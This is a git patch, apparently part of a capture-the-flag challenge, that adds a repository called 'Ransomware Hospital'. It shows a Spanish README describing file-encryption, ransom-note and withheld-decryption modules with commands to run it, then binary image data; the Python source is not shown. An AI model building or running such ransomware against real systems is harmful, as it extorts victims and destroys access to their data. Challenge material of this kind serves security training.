From e5fcbc24d5d9d3701de8d3cdc6b36a5d85a93afc Mon Sep 17 00:00:00 2001 From: Louden Date: Tue, 17 Mar 2026 19:54:11 +0000 Subject: [PATCH] Initial commit - Source code --- README.md | 64 +++++++++++++++++++++++++++++++++++++++ assets/pwned.png | Bin 0 -> 129317 bytes assets/skull.png | Bin 0 -> 92963 bytes ransom.py | 77 +++++++++++++++++++++++++++++++++++++++++++++++ requirements.txt | 1 + src/__init__.py | 6 ++++ src/decrypt.py | 8 +++++ src/encrypt.py | 44 +++++++++++++++++++++++++++ src/prompt.py | 20 ++++++++++++ 9 files changed, 220 insertions(+) create mode 100644 README.md create mode 100644 assets/pwned.png create mode 100644 assets/skull.png create mode 100644 ransom.py create mode 100644 requirements.txt create mode 100644 src/__init__.py create mode 100644 src/decrypt.py create mode 100644 src/encrypt.py create mode 100644 src/prompt.py diff --git a/README.md b/README.md new file mode 100644 index 0000000..da4a2c7 --- /dev/null +++ b/README.md @@ -0,0 +1,64 @@ +# Ransomware Hospital +

+ +

+ +

+ + +

+ +## Contenido + +``` +├── assets +│ ├── pwned.png +│ └── skull.png +├── ransom.py +├── README.md +├── requirements.txt +└── src + ├── decrypt.py + ├── encrypt.py + ├── __init__.py + └── prompt.py +``` + +--- + +## Estructura + +### `ransom.py` +Archivo principal de ejecución. + +### `src/encrypt.py` +Contiene la lógica de cifrado de archivos. + +### `src/decrypt.py` +Contiene la lógica de descifrado. (Me la reservo para mí junto con las claves) + +### `src/prompt.py` +Nota de rescate. + + +## Instalación + +### Clonar proyecto + +```sh +git clone http://challs.caliphallabs.com:18971/louden/ransomware-hospital +``` + +### Instalar dependencias: + +```sh +pip install -r requirements.txt +``` + +--- + +## Uso + +```sh +python3 ransom.py +``` \ No newline at end of file diff --git a/assets/pwned.png b/assets/pwned.png new file mode 100644 index 0000000000000000000000000000000000000000..fffdb99d862733e3304673481b330921fa287081 GIT binary patch literal 129317 zcmeEv2|QHm|NlWo(MYSZM7LYY+G33??OhdRON5eSmnA0KNYY9hD%)s5*0L{yK}Ggb z#8^felxE0AS|@UjFSI2bGJL=A*(#x+`ML zV$n``H=2H8@8YFzZkRXZNjn0#Ai2i=Om_gVU9Yt5cE&yTTwq&$F$<2%JY&s5F4Z|X z1~;3~t|^XE&uzL?7pY1FW<*8~XcASiT;pa%;OQ?AGfka(k68#X=% zHPDB_Zj`D@udT>iV>+nqRN3lYqi0C{mkVs=e_CbyHH^)S{)>p?2SN#5r;MAtYJJKOJLP5h!9$ z?s198uJ;UhsN}|>BiSchGw`T%VdhTX*86u~SB!DM=+%FquPZF{sxdj&xrLp!XJD0RaBz`mO8{SYoKN?>#nMZCOGWKu0%dLm zJ>9A1d+#Q1-qRNuXG)!E6!ICgcC!#l=2ot*hqlk|ylp<&JsY2ogv~MZ&LO7rx!Vkr zP8}roWVpUx9jn9{C=+8q-kpdCfCq+pa$gu@=E)|+p@w!}y%Aa@jJQ8gIK)?y3yu)({WSDVlN&xpAHyKiJ z0a>YJlW$+LB@SJ7TPwtEb*R9+;U4p4ZVLaJaK%%lH_Bj+COr&9L>u;8Rd&sP_j2_Rsycn-=yZO5<0P` z%=A@{i;=Q`>2^oP`#|Um#6|k^p7f+eR;?wEEFG!uIu$`pQS-531F$KMAIU-?isW|X zIh8siYttN>hK|sDc|gh$2b!*&5!LwJJcZMm8_>Ke!bS2E*8%oDdCz-F3llbK%@R$b zfar0Gg!;b(p2joZt@Ax33v)Y(#~Pfte5cvQ&+xDU0@j(geCf zR0WMC0MK3Zo)@4l@na0Ygo{Hs0IXMAb~f|~4yeBU*9@WlzWxyG;I`8d9BPqpbv?@c zmcbouEygyFxO`MXi0puT)Brl0h0I=AGC03FFlCw3(d}&7&2u*EvEI}f8Dfdn9if}H z4!Q)I?;;1Xhi)NDa33sbf0R;sukRxlz^V5*{-WT3BnX-#-gfx)Uh2cL!N=Kiyzb*IL82G-2ATz4>V zXQV5}CST;P@Sd1xC8V61CeoZ4wOZ$%3zMP_c^8z*4(Z~C6r8f+l?urHvZ}ly@8GJ@Gf)gbpucW=) z7eyY6X}VNubC1=}k5e>Y3wap$q8ZPULwutTSL2TG^e z=H~D=K5=t^q>c=Rn9yXw;0Th`=A5H}Zy=A{a+SGN_&ZeG%ETN&mkD$kLrvhL3r1O2 z4$}MtWiebw$ir#%pSP0CjD}&g|6ioNn21wk$J+v`=1D{k=Y`{)1Mcy*pCi9BaU?83 ztjV7bh|a|DZ*Ya3c;mx1DLldxbvrb5kOM&gK>$GjK>$GjK>$GjK>$GjK>$GjK>$Gj zLEwKKfg>H<2Lxu_U32m7F@El*i8BJ(JZ{Ua4{iE1koF<;Vpa(l~;^|0e>Ch1#2Eesz{$Sp(%nO`ePr z-}DFT&S#yTKL75u^EQ084s3$WKjJ5QU$d$57boimP##*e#O|bCPv^A??Lz}tk?c%b zT7oZ&z7SSx2?usTkTHPOT4mSv#%Vjo0$eD9HOlH>2e5K&*4M}4M}#Gp04~)9vJZW< z04g`vY6^eV8X(gLAqaHFlIm4h=E{xbz^VvLGk3#wUX9kb#eeJr=fPcThIH9GFMMK= zH#-TeIWocyP@gWyl!Ib^UoZ2yR#oYt8K%r$Sw_%MGOD-&^}29O4%la1xzYWayb>TEz`@#AOo& z)j`gS0jy$39Mt+L264jY{Ku7yN_V50LtFM@_UfQgBBh#UeD&O+^BZ^Rpy=dTN80#; zNeZTcvy_xre{TYlkD!iUn^wrgn$C|0Hv_lYXoFU7Gd4FTU1&KaeK8Lw4}S% ziE8|nHB!M*-uG?}hoV2o?i$`96C7M4+gYwwfyNhzTH9yeE-XOVD3rAGyf!rIOfB$L zDS7Tzt(2Z6dt#t{;CgK%p&~5n*rmY^nooPLpi{(vqy_jsx5Mj+8r0sSoaj3=L(JOL zg2M&4_TDrFdka4KKQL7%vt>^7Hn(Swy&yDV$5zB<;eGDtsbOlg!4LT}-*1Y}a+6!r zXUI>#ZJh|-RXdMUbgoNEfsRTYDyb#-(Xj1vw@+OAGaRk+JKhK+KFF#H5sSCoUqKd3 zEf7_W?)U&r3V?v*c){kl2E1m&8h;ua`9xD0bZOB2^S|ikae)22T zC@nB&h@0;7fh$X+N%oe-$f8m|xuZU7RU^^8ob3b0PChDFw9Cr&di!IElM!dE*J)|V zcj!v3k%S>X3GCCtrUC6rq6D^R*obNCJQ4bR`}iIB}i9e(lX zN|xdRV4Fe!U*iXT!i0exsZa&XVjxLv)|>Z*ax+g(A&W)fe3((tU}QcjrpXLE?yE|= zAjD7Kj};wCbPN)Z_K9Dc()qx#d!Dt%N*0yJDga>bY}8%-Fe|v-{|fjvpjlGH4$wgL zo>{f0?;d7vNRn34sv{CKHj3h%zMFS2r`Tf5_?0T&qdwlsS;<0B=-o1Gy0aZOjhVEDSzpXmJO&Fuf}C< zmBrx=@1Xn}aCr47QX;MZ)x>4LJ-vl!X>>Zn9;mpZ!IPQVZXnF7JaO33Puf@?kao-t zqrIS==;Z-$S3~^PkoQ_8+7G?~3HQoUS$W)PUe)_k`v&iTg$d*u-?Qkw!n=S;bHNnE zg2B2vu#DUZ%F(*w;f}fwE9eQuw6xQ+z2Y#7W!FeqsPnn{R9fdzIAoH}3^+_Wu~JVq zKlASOop_`o@J6Wewt<}12@^;8M+%1L%WkWuj4hYuJ?7K&?ESL`^+J^vd6YiK?Q%(= zza(H#!D}+Os;2Q>g)@If0r}B3M{{mVBX%-5`_8;h(8Wrgc9Ja;4IJ|;UemXw7gQ8Q z^y*6oTtN-_#k6m=*BsPIno3wggDjSX2k-RCuvx7luG$cEs?nB`eL{=#Zlc4}Pdrjv zd3y_+TS=G&2{rw(gSDXaFwtpz-J%Eh{T0L#oI#H)B_tef6b2|FDerJ8@0)c$`xn>) zEfK~G^LzS16)gM3WPvBxmR7Grpw87&LR=Bp!8~l95W^LjI{pCt%GX=JMV4{?rU0>5 zf8Hy?6+;e?33jw``k~Edg{Gli?S?pGu<<;&M4|6l6uCwaKoIx~5Fq5g$?|D@c2bxV zca>!2`kp3KqAv6#<^A@eu-+Am#vf^)wzFBYJy!epO%n9v!e8)=NE81X2t3Tk-bK~| z{4HonNVAUP0!Ce1gj6QBX4DOKc&*WsebcdN@K%=TlfwXZNMO0VOuivtyg>k)-;ZKM zm*fdz?B6{58Z+a=-&}rsilmgoy5`vll0c`a+vc6hLwPDM0|_jf7BVV{O7Rkc=W>uj z@ZO9`J#NY$-%iE+QLhJAN))M90$aSm7UXY$YUZ|CFBmLUb)g8tdYL~?lKhr$zd1(= z*1-;tnsj-=GBAAsuUEO(4V_MuWZ4%r;G>d}jv74jydv3du{c;Mj+Rhte=zxCX@>Kh zLGK}@PeSF*silr-#Un?yk#oQbhwtm$shU|5Xg|)x6uWa<50RCV;tTRVoiOn+{q6%`_h)ybAn6A1S5JBF9+&+-MJeOSQf-nd4Z`WBKy-V#5we>4O&JRpki@-a1u<&UfBzN<&*dnze6R zzDEpxMW9tk?}1B#FHE+IxB86Ompkh=5S(pw$$`3wHjUSHq~B~(r)pv@+m~PGy@fu$ zi`;-(Y`mp^V28HRnFi4q{DHLX`i1M!-1D9uHt&+ATrf1>$`_wHut2m~S1MxP z4!!=?;C%fAEXn~JjQsmn6M?71uj~wtLDrqQ4DkdA$MTx)rq?;XGxc#f()$|Rr>SK3 zoWy5Z8hafT9VyN%gy8b4rlIQ(4alo{JhNkuB1bs2UpQeBW7n(ltbEKaRBgvMRbQ{B zBgztP4i}#37|K$`a>@wZ7&!%&IolNK8F^)RY<<6_qhC>D13=oA=-8ZB`3K7%>pf{} zJvDOONi7%U)_s(v0^Iw`O4)?I@;ym|HeG!D>zh+&NKI2CAFSR)no~gOI#b6BnR)5v-loL&iHv0jh$P$1P4RrCx6Z z0F{RWa($%NsNi+f$0$F)(&0s4IeDKYGNSnN!TyHt+_Bai(H376QGLGpC|->%WL~j$ zbB3CFx=U}Ke&G>5`O=}6M=jk$sOYNB=N7mX#AwLK{uht1t8{MHn;ZY85Fs&fN_ zHM7!Bf?sa+J|mhzb{~|+dnOh+5Cjke5Cjke5Cjke5Cjke5Cjke5Cjke5Cjke{?`%URCKu-wuyTi zi*)-V^to;?wYmDUH+L>;dag(Rq?zU3cdPAYso9Dx1OLW&#J}m*Bsa!V&3TMnX5(zC zil4+Wme~56^_HMFRUJEhmj!ElQg&+5I&PV<_op_yy8!r>D{!!Ihzp=!EMhA*JMG;^ zjb&6M#L7w{OQ7K@v%oLBt$WQ**qLiPd@b0fYG?L>l4Sy-$q(^pPYZh|CoRAHr|KnVl#JaCbZBBuTbz6-{z-Q`QZpCTrD+vrScSyW8Uu`YSjEK{C4$dI z7wTZ8qwCUl1zt5KTf`&J49*={5J*(N!;(m7ZM{-uD{zRcZ)qPN7B^7wHZ`>3ZmNr1 zaY_uzt{NS*u2acWA-E@lwI(OvJ$Wu)`N#tF=y5NGFz)M0X4Ia9Iy#XeM#A)A$Rw2ze<_Rv#6lPQ60W=Oh31VQ+S@tK?|Q%JUW;yqIE+$Ir!2vbn;ob z4*fHExsPXA9vbL6gCa6=ICPA*O#YqD;gC647+kbxB zWHc)t$>;iJMf*1_Aq=0Qa2Q;myBKspO3I8f+_JC#R+;kheS5mC{f0K)Zspvj`_Sqh4{tjIBCqtM&VpqY|-^y4Ih{Kg3nGFKp z(CeGiGw_)W&dx0MCd9$@1Icwg;fcpGveMA9$27@#Ecr4nUVzEfo?y_BQVcpUmX#?7 zu$#JbC3Nx<^0G+gfziR7AmI!!JMXSy+oKl9@w`5sHG~aV^lpk`zz2KTIFgds=EWIc zt=TF^PDUcunodLk!>xf9hAV8s<8=6o2Sf0)X88G_!+Aj}#DHI7nF(0pw{PTFK_qyF z-4t5!nd&Bf|14?XGd!&dzZT#p%jAD582~UJ+`9Yi>+}xOx32-dlraaxC|;`n*or^g zyeG^Y0n%P_#<_wxwB!+rS#y*BQ=pF)321wAc(=v6kN3YCOetM>VC4DT*=+beKUUy( z`H&u3WXFEYmR)i5xp($7YeiP zC75{R`QfGa?e>E{ROt;&__a89UX)Iregi+5!ee&&UaCt* zX+oTmgJZqt@cP_TJxmG5Vy`9E`TJ3~+L9HzwMHJQylyib*)exh6;YRL{%Al;3sWLC z40<5uM=q3_D#Q#Nt~TPX0Q59RB(-hr$ZclihFwBQRy1qSv+EYKtL&r86y%de$5=`<^W;+yBvS6TPT1x9u6{w*8A1pSR%IFu^i^15YS^c31s_ z+RcZ_AJUG_3VzFP141bboB9QpdGukPHVlv@>gtp0bA{gT2DkZ0 zYq{4DVA6K{3J3cZ`q+$2=&4)WPssf;FE;b0*xRt_(69;kv;Gl3sjdY%6YCY!)xDWD zflsP-66=}ZO6R}OekO#TbImy4N9u6owWPw5)dw@GvY!7q7ePuo=mxjB z%*KVV(bYdaG+<&h@%Q}+?!hpi+14CTm@84I(5+^r;OjS_wbUKIWMxEQNs7!J(jrU! zt9}ja56v*fg9;N%bKNUnj?g@=Xt^#OS^c9r!9I^ilnjJ^0N;XFm<%ODeVQxe>t>Lc zVsEGP$|znzy4m51dR?Y|k4Nvr3(0tT{E*-QH_heoL>JGwMr{|SmXOS7=+;Zbib6OS zAVxpgqY|{DK>K4u^S=4xvCkgl4BxX)*&!)LprOZm1xL1ODgF>01aGIUkEod$ocHBo zHe56Xi%S>=fYd___8#_JWUC7aEI`;(+YC)YfKU!w@Mp3}5A|pVx9y^H-oQm$9vl1n z6KCWP%qE^m>k8QG+9#k;#Is$&5BORX_h%Il3tKGvN#LJ}(S{SA{lv-VG`R?t6oP(YWHU_o#CS7jmUYElr;HC5 z`Wc2ZHi-qQOG&w@{4Y$~m1E^OK|n(*uN(I(sWH}g(Y@tlfxz1@!P8HeQ;N^LQjT(r z(w90e2D5T2Zah7*T=K596u}TIqXkWf|KmQrzhAuvu1FIGc5hSDp4kBQzcFJJJ{7)i z5?X!$<={%M-U0W^?&WTC!E&9~sA-YTV` zw6tv>I(KYZB2tv` z&lhC`3umZqXVeABI2;~up+#1YQSpn_Pe*w)(8|grq9-iprJ4_aa@GD@R&gG2_%~n$ zy0of4#E2bhw2dslI$`>SA*CIx6FMWEdeg1 z*>f8kGnzC-S;UhZ7%LH5upkfb-dU2jemmJf-UhSBr`2SR-RV%Sq2Eh~Hf;CV0T%k? zwzB^yCKc&m<0IZ$p)7a+tegf`zY9k1PAS@-p2514WnXJ{_Do&yI*{C1I9u=|-@u*|R?Wfc+wO-CE`j5lMMy zPixy7ie}Vx5-ykfi2;r*`wFND1cLiL35{*Tg=<|iiZCFtf3t0sPs^$+&1%ur_gO`V zuo(EQ@oDah+o5&WiT6E@pKpDX;BiL)xJbz%UdY^iE-& zA6T)^(iA#}U%R!yfvDWFp$fn-jq1RfPMBkV{03IcjX6!Z!D_CoYxKpGrI%meoPfBtz+$r$remi5hhTU84@n9V_ z+mvEzR>0L?qJg&f2!`VLYSuBh50=L?tAF602ZCKnW*ct z6)da?P@cU;o6Kno9*hOId$;1Jrx&c6>sfA(-6tB5iL#cWD7Lc!?gz+XNiK>64ef9{ z!2WU^KS0rIR00ToI(gL5ri3%4f~;OqZY(i`Pv__5fOTb|k4+0<^Jo9*b%G9qm8yh3 zF-CS2gGtXfUkB5I(rGq&DQ*AidXHe^)vUCN&76V6WQY8U2W~Z@Np~G=)U}lbMK_kW zXg6P7CE#nyHB@a#(fc=bziU`cS>%ttMjSfWY7K+c!la0rnt+N|6C++2;+d3@|a-5JoL%D z)Z4hbFqXbzR&GY`8sKT+&F&F~%&7fJIlzIn^MLB=uJK#0X*OQ_@L+5J@NzxHCRw?Z zu@p_Cn9(BR2t6N>1HP!TW&E2$G?T4-`SU+ES`7d}Bd8_O!1|HtV+#G2U-~(H(z4(# zBLrD@(%?&t&*_gozdEh{^N!Cyq#9cTqlBM6h_3UTh=!q#4+}uZ_y&HTZ5X?%^IKu{idsOzOBSFX+b3tFw`H8Q~*mEPVKU)RdcIBasSE3}#t>e9^ z>xI^ofW>%7n@}40{%Q6y>dmtJGVW#S`~Y^MHIz{kNu?^|b14(mlXmhCvnJkOmh7+ zuJ*qnVZ)im_AZJbZ~23gl;fEq*&uFKR@8v{y>*L94f?JGAHAFsbUKC<&_vb z-iNP|-T$G|I%(z6lx>0^(^Dw9~7(=hxZoi zD@RrBL?2rEuG)DIxpf^_LLao_{}WI%mphIV2w z`Q-7FZNC@;YDau;zy&?xP{)%vom!J7zEr}Iz&=lKf3Mg^aBegxv+|5|XR0gL(=z@S zIFRPe0S(!3_j+ zy^-3jnAn8=etTW%{IJ=6!9j=Jz;?Rp&`*JFeJf{e?QvR!)FQjfZ3R2`5iVE=m-OPi9q0vaB&vrtGE-g{a))%jB9kmY8?^Q7|glg;G3ZV?tyh ztSA`}7}n?>P5PwcrWPSbjSXsBGuKbVsGEYecBjhj%Rn9Pdn{h;x%L z80uF!)%RvpO}u39ExhS`@5xQna_cM)D+3edZrc1iRz$tQo9VXuE6Qjgi`z@U2~hKt zHBDSzmf^Bmx907y5ZUEu<8vp&ad1GkZ?wG!uZR|S-PqxiXQ@ch%a$wc-djUhWZ6vh zS#oP$g-gMJ?3##NU8+n)mu|Czz;?$Q^DLXWf`YdWek9^XB*k%9VQE;4Nd=Z`f^DZZB8lUcpsCQ*|D z3;=`|n87dNMi8EGK&jsJVHDs+1QB-e2)t)m38B5HoRj{8%`nk_DqJZ1L7L$iLLG=Z z4eRlo2$`HJ7Vl#C(XGZHoZXC|D>lRREB`)PH}N});4PmHeqd5(peB+FYQl;c-K%onRabAtWy#Ax~)*IN4La zQ?=thp5viXbE#b^--F9_TR3G1$=zKF8RPp=2Rn3EAC|8<=WtY^xDhLqd<6hry>OLv zyz@DR6k}Rx3)8P1uwx@u*rBy5tUm@HD};5A|HjQ!i{(r?ioz7%F2;EMSci4%x~cDCf5$u$UG%bX^^T z9x`L`+tAD@+P5N5$0+w{ahEGf$&g$TIZ%`E0W-+HvJB>y#%1g$Z*R`XV6oNZbi5bEqTBB1>G&eX!EP<;;JdY`TSP}$ zj(n$kyj=1(`*lh0PwgXTZT`?{FtS6M&xC~trnR>7l)6?u#G{ozP$sEtpR4d$y1x*8 z`eZ5m{MCP>8v7R{cA|0IgkK8)06$UCpv9^#ejG0tx0hD?_z<~S)a_N{sFC%(XSbC; z>~K0}>$D%U;=P1+zj{og5xJQ!>#Uq^NeGK%q!imj(tei$H#t|nq&cV*(fxvP;op6JT9pYs>*0P=C-LlLswPQ~v$UIUV z5pryXTZ~Zy&stk|ESJe(kxU<0)tSIb>{9^KFVtPZ`x$S=Q)tQ97VX}IYsRIMEr36{ z*I{Up!*cxXg621GJC9-wj7JuT4%fyEtkU+J7g*Rl8E#f84sDudiSJ%7?}1(10XvW6 z4I3UivPaN;Pg(h5zqou#3`L_)p5R#guR50d~DxvxV2g>q_{*#KB1lg(Hs6PsA10q%mx&aLpG%ZfTZJ z=(Fi5V?{}7V)$o~6a+j*#Qc^3sJ0hNdK4CVRtB=tHOc6d0gjc8=Y5}0#0RQGtDfxa zGPJm?Ck+smhE@RKMd8yM6S^ZbVU{M7JS|-DI9{Sfw#UFp1R&&Fy8FuwWODSD?3-K+ zHm}2U^R#a2HG_93hf1La0JyWJ`YIFTRJ)5Di}Njr7mbaTQo+sRGoSs972jzyx#Z6Sjm-IjECH^NKJe?B!>aG4of7XV7V?@H9q!wY*Za0xhERGA8+{^Rf%3I&@zlV; z#X|9u+@V>(48(Up?^oI1tirZ6nlS`v4LI`iWNJ%B1QY=vBeLTw%KTpNX}i?yrZgK zAUtJQHWptZR@I}|^Fk(8=?HD>nl`kV<7^#_FX;D#u?sMKU!{!Fu7spgm&j`&i({#- z5+u#Q0M$S@^&`S|*4&YoheKJ6qS*{t0YQ%uL#l(D-9%+)X~)^|MNgCB{9PSNzRI&-Z>`EcZnu$f zIqzd#z*A-A_oD-f`6B}2i4N-heO_;e7v(1>zx7#MWuxe%H?sRA0HD^HLn%$hEmp#= zZ}E=mM&Sac10ON~kl4EC^8#eX54A}XvW$2YA;Dv0zHySqhtI7}!jZV1nFg5viWvv_ z|F2(+K2qwLQ4mu)xbgY4KgGx={{DC+{Wk{am(hXX)!n3K`&<2jbNibX5lfErdZ{Ut z`@ZAr5ive8D@0P znXnXa8=3`RFAYe5%Za9s&f@%=jOY(8!p^Jf(?esqr%x|cE{QN)Vz)$UQ;w4WSS!vT z89G}9P&MahSDq5s9l77Zjx+h{*+?86*=8D4y|y1` z(+(8%=|fdz{DCy%;z8~ZSEBLwhqaPMPU+Nl$*w7`FX|t(0YLfVW797B^p8HjVk`ge zpx(9fO8P|S{UhH?-4Net-EY@&0BoNAx$Qma%(R`+%|h`x* z{ZbF6QFpx!g)?EoV=TYF(m8H{)FuOW2YtLgzO(x!2v{>yFo2Kp9cbXCy+ud%W@QEc zu`s>L3;7REF#7%6tp9lb-4w^RlR~O`<0sgFU8ziV{m1rHaVNVwvYRHTpZe?S3?;s! z@1BiN+)H>cHvaJg*Um#*+p1b<_dbFId3&SmZN=N|=6aWlJ%EZ4@EO;bKVSZ1bCd6c z!As(fA&B2(raCq)j}RyxuN3QeV$3tD^%iXDl7{3Zxl6oZ9$~JH9M!Lt8vsD^C^JpM z^C=VZSuNoP(E*;fh8bSVFPlm&`i^l{Gou}F22dag*Jjxc7q`8Md-9zIQV4?LGsaU^ zLvlIelb>i4X(*0RMT1=HRUkhkl7ye=VQ;JQdh2)+WZ9=8!B0a#mDnrjHNv*$<2^Kh z3ta_;5TjA2_Ma&##y4gj*jb-N~}U_=)p@yY?j-^i5-uJ%$;@BE^rr-buU-uv@#yfKJR<6egjp!mt<_ zc5}kefM(rws9!Q}vdNJNugtdo8|ys%D7cW5-NVHl*%x*ef7NrKF#U$p+kH)`gtr#;>oMMN{VY>AkkE zzR9FY(R}f1#R8HWsJ9%O!t+f8XgBnlCx+6fgAvqFYI*Xcv;1~&>X9Z^k5`H)1FC14 zArv@N_}ba&Gu)#o$4qkhH;&B|(_Ui6v-yk0J=2emy#56UP&%$a`JX(WHOeKu%in6( zcMjm7nY8!6&Ir4gXW2^Otw1HiK2!b$K!5b#poke}_y(gTFIo`jW_K`*;lz-{c5^mh z+pm>8=n>8DON%|d+!I4w-_O*kJBwNFzrMfp%US?WJ7$Jtkd~jiu+rJh-9dn+m_%RH zzwaBL9}KvRulFSPiGpSInBg3!GN_Si#CrcR!wi~GzVi4eU;l!c?fLt&0kf7t=|t*6 zPp|mFu$1tYyy2a1>%QY|P4`Nd#Q>@5mpNuwmDX=fbCS>u?}0qAD8B)05OP|G|6%;;na=AyFuD}^>l`}ec94{9C%fN1_*LQw8ytZ2pRxI5!;B88rN!g# z0*CWGB*y6?$|A}N--KJh2+I3@m%KQzZe%Sp4#R&`%TAbfa9`Ih4qSr`60k1X+UKRV z{Pc=mwVf0(Wu@g;cJE#rw(;&*cbSbI-%>_Kt+zOAz;y|1Oq2^ICi)lHuzz9`4r>x1 z5@rciS+)TjWskXdjU@D4$0+yHeCy_E95QevzkAgR5atHe!W0KEIrir%D}2?L1Pwh; z$riY5#A7Sqa*aiyIu}L{IRv?E`UwET-iIIXn)ueT|6<1Pd=q3T+R_#l;YFn4f zVIM*J5JV=p2`3n>S}tBZ9;kjcU{QE#Iwd;z_XG*Nr|Zjx!U&`5si&Oe0Rl74!S^^j z4Jw_rD$q1PU%75?CS~+_VV9rC^h1b=M00ZhsFYNwA2H~#G6i-N-vrfV+{&pgdy>nO z&Z{p`KFH{*mO1XMei zVQ?HIRRtC5diqTihQ!Qu*Q|6OV2G05zAqpRFKm9TAr9a!JOB#|Lmo?S|5E8l{&Tct zu=5!0u0W1`>)z|1b-<)L(A&39kQ;dP%b3VS5}cke4mRbL#Cs-FMki%ch#@|u&mR`C zU@at|=*a+#P{M?jfhN`FO?5q==8)eQhhiq`=3O_=Z?Y=f$vLU^jSD5k{K!Qq2FV1iQbf~oJZZUdaL{KYC2mT4e4 z7J2jEgTO5#NCoN%j+c}U`XA1;M+Lde-Yaics_1tTl%JgpHFyw8VKW{Ndrcp9o}3AR z5@v!EW1u96U|8u)BgHy&7mCa^UyAXoK06qNcU;OFK501DB`~8Wp&ME>h1-}|@N6OR z&?D~zw=Ap-8K^wMFefis0pQn)U1u$nhoPkBKQ=yUDA!teTdjG8bSr*spTILv(FlUN zb?&dTm#RBI_qFu4@%&(MJdt7>ebOYiX|R3kQo&{-TFA&x4)3SXEum!5lYh=d-V;zY zW2XC>Pz;Lo5A7OqeI!5&+~^fy>_7J2*Y4cxh~McNcEkQjctI88><*0Iqk*#%O9wvW zITsC1QNX#d<@rdG%3}a4ZVRRQ*ZB_f>U%!o&;tFqxhwm4?$|fqbm49T&A314-7v-W ze?aM3r*~7zIVn^>@-pRGVMO?;7cL@>N{5>Um!Dg=2_MI=?9*)PD&qJ?2jrWHwfH!O z|FDo5^r{n}d;sjk+Tw9nieZLW@ZcRcquc!8KW;#E9#bBQ0aO?FfT0C1S+jr5G+AUT{L)`fy%Qi`4P4W2Ka$3IU zRr+X;(L&{e@Hk;95ILGLZZ&x;Ovvz?8Q-X7zD{_Kze8v%yb=LLcIhkBF0 z(?Wmip%$aF$nh5;ur3#p;pkJ!HHVUEzci$nBk{c3nE_9`QEe7L^3Z>;?N{OUdyH`> zUCb0&(>ENYu^138gzP;7`#&pg-;U7p^JblU*Y7R%HXMg<2~pMou$s(hZukJkzcBlY z3y)YY7s~vtcTOoS_q`T7;M&4WKb@=~M%LKnVbgXuiF%r(-I_Zlb9-l1%J3$9M|-tT z=8C>nw~f+`#asY$$`x{Ct{PDKxWzc4YsgEgIqQRl2%Q_lN3G*&6?&&~&UnIV%e=cn zLQ4%A7v3Cps|nr!@H~Nvu2{NyT_baZ$oUqXRZ_O!KK1QrPJqXf86yB0530WA*pwHp z??0Bp6%jNdZ&OG~9KTck{%xkGNAqu^uPnGXpAQ+@mnXNi$YU)VQ?4MiHQ#i=f2^OB zWveF{z1V9n(0NwM3^4f@y`mR23%<*|$i@QLtV}GpP7^x6isQ%QuraUzaC3n)$S-y~}{v zGG^eKQpjUv4Q#lfqJGYgKdHW(Z1=i~4(4l+t=RKd_gZY>+ET`Gj#p1@tT#l~3{(R* z!+!kLk8ZS#ED&h;ShZ~YR=HFa-7U7Gwq5b|R<5_AF)bc7QFDQ9x01ot zr%(s>ng#6G>yJ~c)pt$x#de6%bk`p`%+~lG$N+3&4GcvdssY$jq3&BdB?N2+PR@uH zsYV-ls>Rn1<7fHtA5fIBZg~-5D==`OAAp2#Ql6$Fc%=i_(2i5QFdSh=L{i zOIWUiCyX@gTm~QPTm~9uE<^b0ITG|!^PH&M2OQEKl2G&o%N5)SgO2>TSN>YSe=Q!4 zry!o1;w;`Zc*(5AcDX?29-A#8qfIvxK(-2r>YfFSgvqgAit8>|?I3L~0!VBMN;^8q z?Jt6ZIu4X&z1A7trO%``1N;7>qEl; zdqvOg*~@PhNuk~a7gs$|)7lsG;rSf*fz<3SpV#L^<6lZ>R;E55{raovGbJc51{<&` z=+jBVp}jM>`nNq$ZVlr`gc2q!2*Y)oeu}TJwvpY$;eyBU0lZ$zBkX&bmC=JFvqtC5;3C%*c5)2-J_q@PVP8k*8qZbT}rCWEVcCXLeYt<-+Fqa?d%4 zH?7z?09z|~G5fW47~}`iJ%2Nsp@1NdOO>;*J6<&feCQQk>$Ym^CWVa}`?7-K&Jj0U zd)9XQz@@AoSx4z7Y6sFKCFs@56?k9#DtiBOE(g46gm;{$%ua6{!)-23)>TTdwFL+w z^~FDM>xqiLN`*jEukLYtl~j;N4#s||L4MjpN^7#Gl~yYolb$gXA}q|DN&Qgi|A;SkiVS3=!(5QgHc(q!mAkL_AvQN%8kOdS zDGeU1?P$xF>XZAfle3wj8vO8yd0qCMz%g9tG37P1)$)zozSSF%KM@(&0SmMl?itkvOKGhIBTgO$9LrV zSxbzoL1oW<7TXoRC;0=+N6T+HJt_J@!f`Upz^nNjVoW`yesmZkIQsk!@@mfg6|ByHTO$cP@K@B0X{-8>w9|h&A?Tkxo3(K&yN_@{EXjI1t~$62N5}4ghp%W`eMRP=hO+ z#gybFl&(56;j!CzRM1{yuxQldPE=`%Cx?<`CWaNDy!=;g9ZBU>uW*Li@8?-Nr3YjV zI!v%VekWXh^!GA8@$RL(+tXSM=Cej5MQuGbGqyU(Dzi2~44o%GVQor=SgxvS*RY`_ zpzh=X&n>R|op~FHO8QM17ID_E4};TUv{?X^eJflo|IXWtT1-#}PiGLstO}5KTrj%l zd3yQIM5Q&qrSws%gIx;*e+$izrOA%9a!ni^2s9Q02wK0e!6=ErF;~Ip2|>JLU8PKb zg2u*{=kuF$v$=Y0!sC01sXFN&BwY<%KPq3K12atCmUD{^2u_OToaC&rg&JC#A9VVvS$GjzOF+T)>XCm9hfA8-l5u@% z**mwA8nI!aYy5c=PduE9>L>Z%i-&Qwy~yJL04zsCb%)W>pV1Xk<~R+CE!>hNQYe{} zyB{PoGcd{7b~U>7u{orZtwVDFO3FDXR%A3)y^#$z1`jLvC9s@v47PLutj1zI1#gM{O5wVO#XsJUvPV$@AX3x7+ zyJUO-EI8QvYcYeivQ(e+^5Hh;(6fH4xjJ|kHTi9~;sTS;^?#jNwLCbfQwFbz&AV6< zzuYKwXnUbl=5yMq0`~kuWxRGWWo0XGV=Dk$V5YyCkS63)eA~zNK%3jf?Wty-%Q7Qs zv|L{_JScJrr~2D%?k^sr>ODAN)9U5XsOWwGz#2hX3a_D01yOw*W1AZ;eU@CF*F0Rqja)%yb9Z zjJ*0h5^2kLvWiPZMJe@E%v~-cIZ!uuf=i%IZ}_!C0Z0W(&^S@%u3}XDa9c8Eum~K4 zh-Q5(@*2pkBc`FdTYhbS6SpFhuP)oXqS 